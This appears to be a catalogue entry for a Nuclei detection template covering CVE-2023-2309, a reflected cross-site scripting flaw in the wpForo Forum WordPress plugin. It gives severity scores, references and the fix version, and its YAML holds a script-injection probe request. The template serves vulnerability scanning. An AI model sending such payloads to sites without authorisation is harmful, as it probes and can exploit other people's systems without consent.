CVE-2023-2309: wpForo Forum <= 2.1.8 - Cross-Site Scripting
- Template: CVE-2023-2309
- Name: wpForo Forum <= 2.1.8 - Cross-Site Scripting
- Description: The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
- Impact: Unauthenticated attackers can inject malicious JavaScript through the wpforo_debug function to steal WordPress administrator session cookies when they view crafted links.
- Remediation: Fixed in 2.1.9
- Severity: medium
- Authors: s4e-io
- Tags: cve, cve2023, wordpress, wpforo, wpscan, wp-plugin, wp, xss, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2023-2309, https://wpscan.com/vulnerability/1b3f4558-ea41-4749-9aa2-d3971fc9ca0d/, https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-218-reflected-cross-site-scripting-via-wpforo-debug, https://github.com/fkie-cad/nvd-json-data-feeds
- Cves: CVE-2023-2309
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-2309.yaml
- Digest: 4b0a00483046022100a1b1fa48dedba468dc1a662c5b0dabcd4830fb3807732206daaeecb980d2513c022100cc33f00c1506c66f4c871816f5b11e2d0fe2bffafa303e6d94a9c9e13db6814c
- Created at: 2024-07-23T08:17:55Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 854
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2309.yaml
Classification
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00845
- Epss percentile: 0.58925
- Cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
- Checked, none or zero: cwe
Metadata
- Framework: wordpress
- Max-request: 1
- Product: wpforo_forum
- Publicwww-query: /wp-content/plugins/wpforo/
- Vendor: gvectors
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| gvectors:wpforo_forum | yes | /v1/products/gvectors/wpforo_forum |
Labels
- Name: wpForo Forum - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Update to the latest version of wpForo Forum plugin that addresses this vulnerability.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim must click on a malicious link
- Labels source: projectdiscovery
- From cve: CVE-2023-2309
```yaml
id: CVE-2023-2309
info:
name: wpForo Forum <= 2.1.8 - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the wpforo_debug function to steal WordPress administrator session cookies when they view crafted links.
remediation: Fixed in 2.1.9
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2309
- https://wpscan.com/vulnerability/1b3f4558-ea41-4749-9aa2-d3971fc9ca0d/
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2309
epss-score: 0.00845
epss-percentile: 0.58925
cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: gvectors
product: wpforo_forum
framework: wordpress
publicwww-query: "/wp-content/plugins/wpforo/"
tags: cve,cve2023,wordpress,wpforo,wpscan,wp-plugin,wp,xss,vuln
http:
- raw:
- |
GET /community/main-forum/?param=%3Cscript%3Ealert(/document.domain/)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"<script>alert(/document.domain/)</script>","wpforo")'
- 'contains(header,"text/html")'
- "status_code == 200"
condition: and
digest: 4b0a00483046022100a1b1fa48dedba468dc1a662c5b0dabcd4830fb3807732206daaeecb980d2513c022100cc33f00c1506c66f4c871816f5b11e2d0fe2bffafa303e6d94a9c9e13db6814c:922c64590222798bb761d5b6d8e72950
```